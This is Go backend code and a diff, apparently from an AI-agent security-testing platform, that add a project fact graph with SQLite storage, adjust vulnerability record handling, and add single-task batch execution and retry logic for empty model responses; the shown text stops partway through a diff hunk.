// ValidProjectFactEdgeTypes 项目事实图允许的边类型。
var ValidProjectFactEdgeTypes = map[string]struct{}{
"depends_on": {},
"leads_to": {},
"enables": {},
"exploits": {},
"discovered_on": {},
"contains": {},
"part_of": {},
"supports": {},
}
// ProjectFactEdge 项目事实关系边(source → target)。
type ProjectFactEdge struct {
ID string `json:"id"`
ProjectID string `json:"project_id"`
SourceFactKey string `json:"source_fact_key"`
TargetFactKey string `json:"target_fact_key"`
EdgeType string `json:"edge_type"`
Confidence string `json:"confidence"` // confirmed | tentative | deprecated
SourceConversationID string `json:"source_conversation_id,omitempty"`
CreatedAt time.Time `json:"created_at"`
UpdatedAt time.Time `json:"updated_at"`
}
// ProjectFactEdgeInput 写入边时的输入(出边:source → To)。
type ProjectFactEdgeInput struct {
To string `json:"to"`
Type string `json:"type"`
Confidence string `json:"confidence,omitempty"`
}
// ProjectFactEdgeFromInput 写入入边时的输入(From → 当前事实)。
type ProjectFactEdgeFromInput struct {
From string `json:"from"`
Type string `json:"type"`
Confidence string `json:"confidence,omitempty"`
}
// ProjectFactGraphNode 图 API 节点。
type ProjectFactGraphNode struct {
ID string `json:"id"`
FactKey string `json:"fact_key"`
Category string `json:"category"`
Label string `json:"label"` // 图节点短标签(截断)
Summary string `json:"summary"` // 完整摘要(侧栏等详情用)
Confidence string `json:"confidence"`
Type string `json:"type"`
Pinned bool `json:"pinned"`
}
// ProjectFactGraphEdge 图 API 边。
type ProjectFactGraphEdge struct {
ID string `json:"id"`
Source string `json:"source"`
Target string `json:"target"`
Type string `json:"type"`
Confidence string `json:"confidence"`
}
// ProjectFactGraph 项目事实图。
type ProjectFactGraph struct {
Nodes []ProjectFactGraphNode `json:"nodes"`
Edges []ProjectFactGraphEdge `json:"edges"`
}
// ValidateProjectFactEdgeType 校验边类型。
func ValidateProjectFactEdgeType(edgeType string) error {
edgeType = strings.TrimSpace(strings.ToLower(edgeType))
if edgeType == "" {
return fmt.Errorf("edge type 不能为空")
}
if _, ok := ValidProjectFactEdgeTypes[edgeType]; !ok {
return fmt.Errorf("无效的 edge type: %s", edgeType)
}
return nil
}
func normalizeEdgeConfidence(confidence string) string {
confidence = strings.TrimSpace(strings.ToLower(confidence))
switch confidence {
case "confirmed", "deprecated":
return confidence
default:
return "tentative"
}
}
// ListProjectFactEdgesByProject 列出项目全部边。
func (db *DB) ListProjectFactEdgesByProject(projectID string) ([]*ProjectFactEdge, error) {
rows, err := db.Query(
`SELECT id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
COALESCE(source_conversation_id,''), created_at, updated_at
FROM project_fact_edges
WHERE project_id = ?
ORDER BY created_at ASC, rowid ASC`,
projectID,
)
if err != nil {
return nil, err
}
defer rows.Close()
return scanProjectFactEdges(rows)
}
// ListOutgoingProjectFactEdges 列出某事实的全部出边。
func (db *DB) ListOutgoingProjectFactEdges(projectID, sourceFactKey string) ([]*ProjectFactEdge, error) {
rows, err := db.Query(
`SELECT id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
COALESCE(source_conversation_id,''), created_at, updated_at
FROM project_fact_edges
WHERE project_id = ? AND source_fact_key = ?
ORDER BY created_at ASC, rowid ASC`,
projectID, sourceFactKey,
)
if err != nil {
return nil, err
}
defer rows.Close()
return scanProjectFactEdges(rows)
}
// ListIncomingProjectFactEdges 列出某事实的全部入边。
func (db *DB) ListIncomingProjectFactEdges(projectID, targetFactKey string) ([]*ProjectFactEdge, error) {
rows, err := db.Query(
`SELECT id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
COALESCE(source_conversation_id,''), created_at, updated_at
FROM project_fact_edges
WHERE project_id = ? AND target_fact_key = ?
ORDER BY created_at ASC, rowid ASC`,
projectID, targetFactKey,
)
if err != nil {
return nil, err
}
defer rows.Close()
return scanProjectFactEdges(rows)
}
// ReplaceOutgoingProjectFactEdges 替换某事实的全部出边(links 省略时不调用)。
func (db *DB) ReplaceOutgoingProjectFactEdges(projectID, sourceFactKey, sourceConversationID string, inputs []ProjectFactEdgeInput) error {
sourceFactKey = strings.TrimSpace(sourceFactKey)
if sourceFactKey == "" {
return fmt.Errorf("source_fact_key 不能为空")
}
if _, err := db.Exec(
`DELETE FROM project_fact_edges WHERE project_id = ? AND source_fact_key = ?`,
projectID, sourceFactKey,
); err != nil {
return fmt.Errorf("清除旧边失败: %w", err)
}
for _, in := range inputs {
target := strings.TrimSpace(in.To)
if target == "" {
continue
}
if err := ValidateFactKey(target); err != nil {
return fmt.Errorf("target fact_key 无效 (%s): %w", target, err)
}
if target == sourceFactKey {
return fmt.Errorf("边不能指向自身: %s", sourceFactKey)
}
if err := ValidateProjectFactEdgeType(in.Type); err != nil {
return err
}
edge := &ProjectFactEdge{
ID: uuid.New().String(),
ProjectID: projectID,
SourceFactKey: sourceFactKey,
TargetFactKey: target,
EdgeType: strings.ToLower(strings.TrimSpace(in.Type)),
Confidence: normalizeEdgeConfidence(in.Confidence),
SourceConversationID: sourceConversationID,
CreatedAt: time.Now(),
UpdatedAt: time.Now(),
}
if err := db.insertProjectFactEdge(edge); err != nil {
return err
}
}
return nil
}
// ReplaceIncomingProjectFactEdges 替换某事实的全部入边(From 为来源 fact_key)。
func (db *DB) ReplaceIncomingProjectFactEdges(projectID, targetFactKey string, inputs []ProjectFactEdgeFromInput) error {
targetFactKey = strings.TrimSpace(targetFactKey)
if targetFactKey == "" {
return fmt.Errorf("target_fact_key 不能为空")
}
if _, err := db.Exec(
`DELETE FROM project_fact_edges WHERE project_id = ? AND target_fact_key = ?`,
projectID, targetFactKey,
); err != nil {
return fmt.Errorf("清除旧入边失败: %w", err)
}
for _, in := range inputs {
source := strings.TrimSpace(in.From)
if source == "" {
continue
}
if err := ValidateFactKey(source); err != nil {
return fmt.Errorf("source fact_key 无效 (%s): %w", source, err)
}
if source == targetFactKey {
return fmt.Errorf("边不能指向自身: %s", targetFactKey)
}
if err := ValidateProjectFactEdgeType(in.Type); err != nil {
return err
}
sourceConversationID := ""
if srcFact, err := db.GetProjectFactByKey(projectID, source); err == nil && srcFact != nil {
sourceConversationID = srcFact.SourceConversationID
}
edge := &ProjectFactEdge{
ID: uuid.New().String(),
ProjectID: projectID,
SourceFactKey: source,
TargetFactKey: targetFactKey,
EdgeType: strings.ToLower(strings.TrimSpace(in.Type)),
Confidence: normalizeEdgeConfidence(in.Confidence),
SourceConversationID: sourceConversationID,
CreatedAt: time.Now(),
UpdatedAt: time.Now(),
}
if err := db.insertProjectFactEdge(edge); err != nil {
return err
}
}
return nil
}
// GetProjectFactEdge 按 ID 获取边。
func (db *DB) GetProjectFactEdge(edgeID string) (*ProjectFactEdge, error) {
var e ProjectFactEdge
var createdAt, updatedAt string
err := db.QueryRow(
`SELECT id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
COALESCE(source_conversation_id,''), created_at, updated_at
FROM project_fact_edges WHERE id = ?`, edgeID,
).Scan(&e.ID, &e.ProjectID, &e.SourceFactKey, &e.TargetFactKey, &e.EdgeType, &e.Confidence,
&e.SourceConversationID, &createdAt, &updatedAt)
if err != nil {
return nil, fmt.Errorf("边不存在")
}
e.CreatedAt = parseDBTime(createdAt)
e.UpdatedAt = parseDBTime(updatedAt)
return &e, nil
}
// AddProjectFactEdge 新增单条边(已存在则更新 confidence)。
func (db *DB) AddProjectFactEdge(projectID string, in ProjectFactEdgeInput, sourceFactKey, sourceConversationID string) (*ProjectFactEdge, error) {
sourceFactKey = strings.TrimSpace(sourceFactKey)
target := strings.TrimSpace(in.To)
if sourceFactKey == "" || target == "" {
return nil, fmt.Errorf("source 与 target 必填")
}
if sourceFactKey == target {
return nil, fmt.Errorf("边不能指向自身")
}
if err := ValidateProjectFactEdgeType(in.Type); err != nil {
return nil, err
}
if err := ValidateFactKey(target); err != nil {
return nil, err
}
now := time.Now()
e := &ProjectFactEdge{
ID: uuid.New().String(),
ProjectID: projectID,
SourceFactKey: sourceFactKey,
TargetFactKey: target,
EdgeType: strings.ToLower(strings.TrimSpace(in.Type)),
Confidence: normalizeEdgeConfidence(in.Confidence),
SourceConversationID: sourceConversationID,
CreatedAt: now,
UpdatedAt: now,
}
_, err := db.Exec(
`INSERT INTO project_fact_edges (
id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
source_conversation_id, created_at, updated_at
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(project_id, source_fact_key, target_fact_key, edge_type)
DO UPDATE SET confidence = excluded.confidence, updated_at = excluded.updated_at`,
e.ID, e.ProjectID, e.SourceFactKey, e.TargetFactKey, e.EdgeType, e.Confidence,
nullIfEmpty(e.SourceConversationID), e.CreatedAt, e.UpdatedAt,
)
if err != nil {
return nil, fmt.Errorf("添加边失败: %w", err)
}
// 返回最新
rows, err := db.Query(
`SELECT id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
COALESCE(source_conversation_id,''), created_at, updated_at
FROM project_fact_edges
WHERE project_id = ? AND source_fact_key = ? AND target_fact_key = ? AND edge_type = ?`,
projectID, sourceFactKey, target, e.EdgeType,
)
if err != nil {
return e, nil
}
defer rows.Close()
list, err := scanProjectFactEdges(rows)
if err != nil || len(list) == 0 {
return e, nil
}
return list[0], nil
}
// DeleteProjectFactEdge 删除单条边。
func (db *DB) DeleteProjectFactEdge(edgeID string) error {
res, err := db.Exec(`DELETE FROM project_fact_edges WHERE id = ?`, edgeID)
if err != nil {
return err
}
n, _ := res.RowsAffected()
if n == 0 {
return fmt.Errorf("边不存在")
}
return nil
}
func (db *DB) insertProjectFactEdge(e *ProjectFactEdge) error {
_, err := db.Exec(
`INSERT INTO project_fact_edges (
id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
source_conversation_id, created_at, updated_at
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)`,
e.ID, e.ProjectID, e.SourceFactKey, e.TargetFactKey, e.EdgeType, e.Confidence,
nullIfEmpty(e.SourceConversationID), e.CreatedAt, e.UpdatedAt,
)
if err != nil {
return fmt.Errorf("写入边失败: %w", err)
}
return nil
}
// RenameProjectFactKeyEdges 事实 key 变更时同步边上的引用。
func (db *DB) RenameProjectFactKeyEdges(projectID, oldKey, newKey string) error {
oldKey = strings.TrimSpace(oldKey)
newKey = strings.TrimSpace(newKey)
if oldKey == "" || newKey == "" || oldKey == newKey {
return nil
}
now := time.Now()
if _, err := db.Exec(
`UPDATE project_fact_edges SET source_fact_key = ?, updated_at = ?
WHERE project_id = ? AND source_fact_key = ?`,
newKey, now, projectID, oldKey,
); err != nil {
return err
}
_, err := db.Exec(
`UPDATE project_fact_edges SET target_fact_key = ?, updated_at = ?
WHERE project_id = ? AND target_fact_key = ?`,
newKey, now, projectID, oldKey,
)
return err
}
// DeleteProjectFactEdgesForKey 删除与某 fact_key 相关的全部边。
func (db *DB) DeleteProjectFactEdgesForKey(projectID, factKey string) error {
_, err := db.Exec(
`DELETE FROM project_fact_edges
WHERE project_id = ? AND (source_fact_key = ? OR target_fact_key = ?)`,
projectID, factKey, factKey,
)
return err
}
// DeprecateProjectFactEdgesForKey 将关联边标记为 deprecated。
func (db *DB) DeprecateProjectFactEdgesForKey(projectID, factKey string) error {
now := time.Now()
_, err := db.Exec(
`UPDATE project_fact_edges SET confidence = 'deprecated', updated_at = ?
WHERE project_id = ? AND (source_fact_key = ? OR target_fact_key = ?)
AND confidence != 'deprecated'`,
now, projectID, factKey, factKey,
)
return err
}
func scanProjectFactEdges(rows *sql.Rows) ([]*ProjectFactEdge, error) {
var out []*ProjectFactEdge
for rows.Next() {
var e ProjectFactEdge
var createdAt, updatedAt string
if err := rows.Scan(
&e.ID, &e.ProjectID, &e.SourceFactKey, &e.TargetFactKey, &e.EdgeType, &e.Confidence,
&e.SourceConversationID, &createdAt, &updatedAt,
); err != nil {
return nil, err
}
e.CreatedAt = parseDBTime(createdAt)
e.UpdatedAt = parseDBTime(updatedAt)
out = append(out, &e)
}
return out, rows.Err()
}
+33
View File
@@ -0,0 +1,33 @@
package database
import (
"errors"
"strings"
"time"
)
// formatSQLiteUTC stores instants as UTC RFC3339 for consistent SQLite reads/writes.
func formatSQLiteUTC(t time.Time) string {
return t.UTC().Format(time.RFC3339Nano)
}
// sqliteEpochGE returns SQL comparing column to param as Unix seconds (timezone-safe).
func sqliteEpochGE(column, op string) string {
return "strftime('%s', " + column + ") " + op + " strftime('%s', ?)"
}
// ParseRFC3339Time parses API/query timestamps (RFC3339 or RFC3339Nano).
func ParseRFC3339Time(value string) (time.Time, error) {
value = strings.TrimSpace(value)
if value == "" {
return time.Time{}, errors.New("empty time value")
}
if t, err := time.Parse(time.RFC3339Nano, value); err == nil {
return t.UTC(), nil
}
t, err := time.Parse(time.RFC3339, value)
if err != nil {
return time.Time{}, err
}
return t.UTC(), nil
}
+5 -5
View File
@@ -98,7 +98,7 @@ type Vulnerability struct {
Title string `json:"title"` Title string `json:"title"`
Description string `json:"description"` Description string `json:"description"`
Severity string `json:"severity"` // critical, high, medium, low, info Severity string `json:"severity"` // critical, high, medium, low, info
Status string `json:"status"` // open, confirmed, fixed, false_positive Status string `json:"status"` // open, confirmed, fixed, false_positive, ignored
Type string `json:"type"` Type string `json:"type"`
Target string `json:"target"` Target string `json:"target"`
Proof string `json:"proof"` Proof string `json:"proof"`
@@ -138,7 +138,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
_, err := db.Exec( _, err := db.Exec(
query, query,
vuln.ID, vuln.ConversationID, nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description, vuln.ID, nullIfEmpty(vuln.ConversationID), nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
vuln.Severity, vuln.Status, vuln.Type, vuln.Target, vuln.Severity, vuln.Status, vuln.Type, vuln.Target,
vuln.Proof, vuln.Impact, vuln.Recommendation, vuln.Proof, vuln.Impact, vuln.Recommendation,
vuln.CreatedAt, vuln.UpdatedAt, vuln.CreatedAt, vuln.UpdatedAt,
@@ -154,7 +154,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
func (db *DB) GetVulnerability(id string) (*Vulnerability, error) { func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
var vuln Vulnerability var vuln Vulnerability
query := ` query := `
SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status, SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status,
conversation_tag, task_tag, vulnerability_type, target, proof, impact, recommendation, conversation_tag, task_tag, vulnerability_type, target, proof, impact, recommendation,
COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id, COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id, COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
@@ -183,7 +183,7 @@ func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
// ListVulnerabilities 列出漏洞 // ListVulnerabilities 列出漏洞
func (db *DB) ListVulnerabilities(limit, offset int, filter VulnerabilityListFilter) ([]*Vulnerability, error) { func (db *DB) ListVulnerabilities(limit, offset int, filter VulnerabilityListFilter) ([]*Vulnerability, error) {
query := ` query := `
SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag, SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
vulnerability_type, target, proof, impact, recommendation, vulnerability_type, target, proof, impact, recommendation,
COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id, COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id, COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
@@ -403,7 +403,7 @@ func (db *DB) GetVulnerabilityFilterOptions() (map[string][]string, error) {
if err != nil { if err != nil {
return nil, fmt.Errorf("查询漏洞ID建议失败: %w", err) return nil, fmt.Errorf("查询漏洞ID建议失败: %w", err)
} }
conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id <> '' ORDER BY created_at DESC LIMIT 500`) conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id IS NOT NULL AND conversation_id <> '' ORDER BY created_at DESC LIMIT 500`)
if err != nil { if err != nil {
return nil, fmt.Errorf("查询会话ID建议失败: %w", err) return nil, fmt.Errorf("查询会话ID建议失败: %w", err)
} }
+3 -2
View File
@@ -16,7 +16,8 @@ import (
) )
// ExecutionRecorder 可选,在 MCP 工具成功返回且带有 execution id 时回调(用于汇总 mcpExecutionIds)。 // ExecutionRecorder 可选,在 MCP 工具成功返回且带有 execution id 时回调(用于汇总 mcpExecutionIds)。
type ExecutionRecorder func(executionID string) // toolCallID 来自 Eino compose.GetToolCallID,用于与 reduction 后的展示结果关联。
type ExecutionRecorder func(executionID, toolCallID string)
// ToolErrorPrefix 用于把内部 MCP 执行结果中的 IsError 标记传递到多代理上层。 // ToolErrorPrefix 用于把内部 MCP 执行结果中的 IsError 标记传递到多代理上层。
// Eino 工具通道目前只支持返回字符串,因此通过前缀标识,随后在多代理 runner 中解析为 success/isError。 // Eino 工具通道目前只支持返回字符串,因此通过前缀标识,随后在多代理 runner 中解析为 success/isError。
@@ -178,7 +179,7 @@ func runMCPToolInvocation(
return "", nil return "", nil
} }
if res.ExecutionID != "" && record != nil { if res.ExecutionID != "" && record != nil {
record(res.ExecutionID) record(res.ExecutionID, compose.GetToolCallID(ctx))
} }
if res.IsError { if res.IsError {
return ToolErrorPrefix + res.Result, nil return ToolErrorPrefix + res.Result, nil
+2 -2
View File
@@ -2,8 +2,8 @@ package einomcp
import "sync" import "sync"
// ToolInvokeNotifyHolder 由 Eino run loop 在迭代开始前 Set 回调;MCP 桥在每次 InvokableRun 结束时 Fire // ToolInvokeNotifyHolder 由 Eino run loop 在迭代开始前 Set 回调;MCP/execute 桥在工具调用结束时 Fire
// 用于 ADK 未透出 schema.Tool 事件时仍推送 tool_result、清 pending,避免 UI 卡在「执行中」或迭代末 force-close // 用于清除 pending tool_calltool_result 由 ADK schema.Tool 事件推送,含流式工具与 reduction 后正文)
type ToolInvokeNotifyHolder struct { type ToolInvokeNotifyHolder struct {
mu sync.RWMutex mu sync.RWMutex
fn func(toolCallID, toolName, einoAgent string, success bool, content string, invokeErr error) fn func(toolCallID, toolName, einoAgent string, success bool, content string, invokeErr error)
+113 -6
View File
@@ -637,13 +637,26 @@ func (h *AgentHandler) runRobotEinoSingleWithRetry(
var resultMA *multiagent.RunResult var resultMA *multiagent.RunResult
var errMA error var errMA error
var transientRunAttempts int var transientRunAttempts int
var emptyResponseAttempts int
for { for {
resultMA, errMA = multiagent.RunEinoSingleChatModelAgent( resultMA, errMA = multiagent.RunEinoSingleChatModelAgent(
taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger, taskCtx, h.config, &h.config.MultiAgent, h.agent, h.db, h.logger,
conversationID, curMsg, curHist, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID), conversationID, h.conversationProjectID(conversationID), curMsg, curHist, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID),
) )
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
taskCtx, conversationID, resultMA, errMA, &emptyResponseAttempts,
&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
)
if exhaustedEmpty {
errMA = nil
break
}
if handledEmpty {
continue
}
if errMA == nil { if errMA == nil {
transientRunAttempts = 0 transientRunAttempts = 0
emptyResponseAttempts = 0
break break
} }
if handled, _ := h.handleEinoTransientRetryContinue( if handled, _ := h.handleEinoTransientRetryContinue(
@@ -673,14 +686,27 @@ func (h *AgentHandler) runRobotMultiAgentWithRetry(
var resultMA *multiagent.RunResult var resultMA *multiagent.RunResult
var errMA error var errMA error
var transientRunAttempts int var transientRunAttempts int
var emptyResponseAttempts int
for { for {
resultMA, errMA = multiagent.RunDeepAgent( resultMA, errMA = multiagent.RunDeepAgent(
taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger, taskCtx, h.config, &h.config.MultiAgent, h.agent, h.db, h.logger,
conversationID, curMsg, curHist, roleTools, progressCallback, conversationID, h.conversationProjectID(conversationID), curMsg, curHist, roleTools, progressCallback,
h.agentsMarkdownDir, orchestration, nil, h.projectBlackboardBlock(conversationID), h.agentsMarkdownDir, orchestration, nil, h.projectBlackboardBlock(conversationID),
) )
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
taskCtx, conversationID, resultMA, errMA, &emptyResponseAttempts,
&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
)
if exhaustedEmpty {
errMA = nil
break
}
if handledEmpty {
continue
}
if errMA == nil { if errMA == nil {
transientRunAttempts = 0 transientRunAttempts = 0
emptyResponseAttempts = 0
break break
} }
if handled, _ := h.handleEinoTransientRetryContinue( if handled, _ := h.handleEinoTransientRetryContinue(
@@ -1159,6 +1185,8 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
} }
} }
flushResponsePlan() flushResponsePlan()
// 助手正文开始前,推理流通常已结束;落库以便刷新后「渗透测试详情」可回放
flushThinkingStreams()
respPlan.meta = nil respPlan.meta = nil
if dataMap, ok := data.(map[string]interface{}); ok { if dataMap, ok := data.(map[string]interface{}); ok {
respPlan.meta = make(map[string]interface{}, len(dataMap)) respPlan.meta = make(map[string]interface{}, len(dataMap))
@@ -1194,6 +1222,19 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
} }
if eventType == "response" { if eventType == "response" {
flushResponsePlan() flushResponsePlan()
flushThinkingStreams()
return
}
if eventType == "done" {
flushResponsePlan()
flushThinkingStreams()
return
}
// 流式思考/推理结束:聚合落库(与 eino_agent_reply_stream_end 同理)
if eventType == "thinking_stream_end" || eventType == "reasoning_chain_stream_end" {
flushResponsePlan()
flushThinkingStreams()
return return
} }
@@ -1268,7 +1309,10 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
// 保存过程详情到数据库(排除 response/doneresponse 正文已在 messages 表) // 保存过程详情到数据库(排除 response/doneresponse 正文已在 messages 表)
// response_start/response_delta 已聚合为 planning,不落逐条。 // response_start/response_delta 已聚合为 planning,不落逐条。
// [Eino] agent 心跳 progress 仅用于实时进度标题,不落库以免时间线刷屏。
skipEinoAgentHeartbeat := eventType == "progress" && strings.HasPrefix(strings.TrimSpace(message), "[Eino] ")
if assistantMessageID != "" && if assistantMessageID != "" &&
!skipEinoAgentHeartbeat &&
eventType != "response" && eventType != "response" &&
eventType != "done" && eventType != "done" &&
eventType != "response_start" && eventType != "response_start" &&
@@ -1637,6 +1681,7 @@ func (h *AgentHandler) ListBatchQueues(c *gin.Context) {
// StartBatchQueue 开始执行批量任务队列 // StartBatchQueue 开始执行批量任务队列
func (h *AgentHandler) StartBatchQueue(c *gin.Context) { func (h *AgentHandler) StartBatchQueue(c *gin.Context) {
queueID := c.Param("queueId") queueID := c.Param("queueId")
h.batchTaskManager.ClearSingleRunTask(queueID)
ok, err := h.startBatchQueueExecution(queueID, false) ok, err := h.startBatchQueueExecution(queueID, false)
if err != nil { if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
@@ -1668,6 +1713,7 @@ func (h *AgentHandler) RerunBatchQueue(c *gin.Context) {
c.JSON(http.StatusInternalServerError, gin.H{"error": "重置队列失败"}) c.JSON(http.StatusInternalServerError, gin.H{"error": "重置队列失败"})
return return
} }
h.batchTaskManager.ClearSingleRunTask(queueID)
ok, err := h.startBatchQueueExecution(queueID, false) ok, err := h.startBatchQueueExecution(queueID, false)
if err != nil { if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
@@ -1867,6 +1913,53 @@ func (h *AgentHandler) AddBatchTask(c *gin.Context) {
c.JSON(http.StatusOK, gin.H{"message": "任务已添加", "task": task, "queue": queue}) c.JSON(http.StatusOK, gin.H{"message": "任务已添加", "task": task, "queue": queue})
} }
// RunSingleBatchTask 单条执行指定子任务(可覆盖已成功项),完成后暂停队列
func (h *AgentHandler) RunSingleBatchTask(c *gin.Context) {
queueID := c.Param("queueId")
taskID := c.Param("taskId")
if err := h.batchTaskManager.PrepareSingleTaskRun(queueID, taskID); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
h.batchTaskManager.SetSingleRunTask(queueID, taskID)
// 暂停态单条执行:旧批量协程可能仍占用执行槽,先回收以便重新启动
if queue, ok := h.batchTaskManager.GetBatchQueue(queueID); ok && queue.Status == BatchQueueStatusPaused {
h.forceUnmarkBatchQueueRunning(queueID)
}
autoStarted := true
autoStartMsg := "已开始单条执行"
ok, startErr := h.startBatchQueueExecution(queueID, false)
if startErr != nil {
h.batchTaskManager.ClearSingleRunTask(queueID)
autoStarted = false
autoStartMsg = "任务已准备就绪,但自动启动失败: " + startErr.Error()
} else if !ok {
h.batchTaskManager.ClearSingleRunTask(queueID)
autoStarted = false
autoStartMsg = "任务已准备就绪,但队列不存在"
}
queue, exists := h.batchTaskManager.GetBatchQueue(queueID)
if !exists {
c.JSON(http.StatusNotFound, gin.H{"error": "队列不存在"})
return
}
if h.audit != nil {
h.audit.RecordOK(c, "task", "run_single_batch_task", "单条执行批量子任务", "batch_task", taskID, map[string]interface{}{
"batch_queue_id": queueID,
"auto_started": autoStarted,
})
}
c.JSON(http.StatusOK, gin.H{
"message": autoStartMsg,
"queue": queue,
"autoStarted": autoStarted,
})
}
// DeleteBatchTask 删除批量任务 // DeleteBatchTask 删除批量任务
func (h *AgentHandler) DeleteBatchTask(c *gin.Context) { func (h *AgentHandler) DeleteBatchTask(c *gin.Context) {
queueID := c.Param("queueId") queueID := c.Param("queueId")
@@ -1908,6 +2001,10 @@ func (h *AgentHandler) unmarkBatchQueueRunning(queueID string) {
delete(h.batchRunning, queueID) delete(h.batchRunning, queueID)
} }
func (h *AgentHandler) forceUnmarkBatchQueueRunning(queueID string) {
h.unmarkBatchQueueRunning(queueID)
}
func (h *AgentHandler) nextBatchQueueRunAt(cronExpr string, from time.Time) (*time.Time, error) { func (h *AgentHandler) nextBatchQueueRunAt(cronExpr string, from time.Time) (*time.Time, error) {
expr := strings.TrimSpace(cronExpr) expr := strings.TrimSpace(cronExpr)
if expr == "" { if expr == "" {
@@ -2055,6 +2152,10 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
h.logger.Error("创建对话失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err)) h.logger.Error("创建对话失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
h.batchTaskManager.UpdateTaskStatus(queueID, task.ID, "failed", "", "创建对话失败: "+err.Error()) h.batchTaskManager.UpdateTaskStatus(queueID, task.ID, "failed", "", "创建对话失败: "+err.Error())
h.batchTaskManager.MoveToNextTask(queueID) h.batchTaskManager.MoveToNextTask(queueID)
if h.batchTaskManager.TakeSingleRunTaskIfMatch(queueID, task.ID) {
h.batchTaskManager.UpdateQueueStatus(queueID, "paused")
break
}
continue continue
} }
conversationID = conv.ID conversationID = conv.ID
@@ -2192,12 +2293,12 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
var runErr error var runErr error
switch { switch {
case useBatchMulti: case useBatchMulti:
resultMA, runErr = multiagent.RunDeepAgent(taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger, conversationID, finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, h.agentsMarkdownDir, batchOrch, nil, h.projectBlackboardBlock(conversationID)) resultMA, runErr = multiagent.RunDeepAgent(taskCtx, h.config, &h.config.MultiAgent, h.agent, h.db, h.logger, conversationID, h.conversationProjectID(conversationID), finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, h.agentsMarkdownDir, batchOrch, nil, h.projectBlackboardBlock(conversationID))
default: default:
if h.config == nil { if h.config == nil {
runErr = fmt.Errorf("服务器配置未加载") runErr = fmt.Errorf("服务器配置未加载")
} else { } else {
resultMA, runErr = multiagent.RunEinoSingleChatModelAgent(taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger, conversationID, finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID)) resultMA, runErr = multiagent.RunEinoSingleChatModelAgent(taskCtx, h.config, &h.config.MultiAgent, h.agent, h.db, h.logger, conversationID, h.conversationProjectID(conversationID), finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID))
} }
} }
@@ -2311,6 +2412,12 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
// 移动到下一个任务 // 移动到下一个任务
h.batchTaskManager.MoveToNextTask(queueID) h.batchTaskManager.MoveToNextTask(queueID)
if h.batchTaskManager.TakeSingleRunTaskIfMatch(queueID, task.ID) {
h.batchTaskManager.UpdateQueueStatus(queueID, "paused")
